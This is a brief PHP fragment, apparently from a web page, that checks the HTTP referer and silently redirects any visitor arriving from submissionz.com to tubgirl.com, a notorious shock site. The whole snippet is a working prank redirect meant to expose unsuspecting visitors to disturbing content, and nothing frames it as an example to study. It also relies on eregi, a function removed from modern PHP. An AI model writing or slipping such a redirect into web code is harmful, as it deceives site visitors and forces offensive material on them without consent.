$ref=getenv("HTTP_REFERER"); if(eregi("submissionz.com/",$ref)) { $url="http://www.tubgirl.com/"; header("Location: $url"); } ?>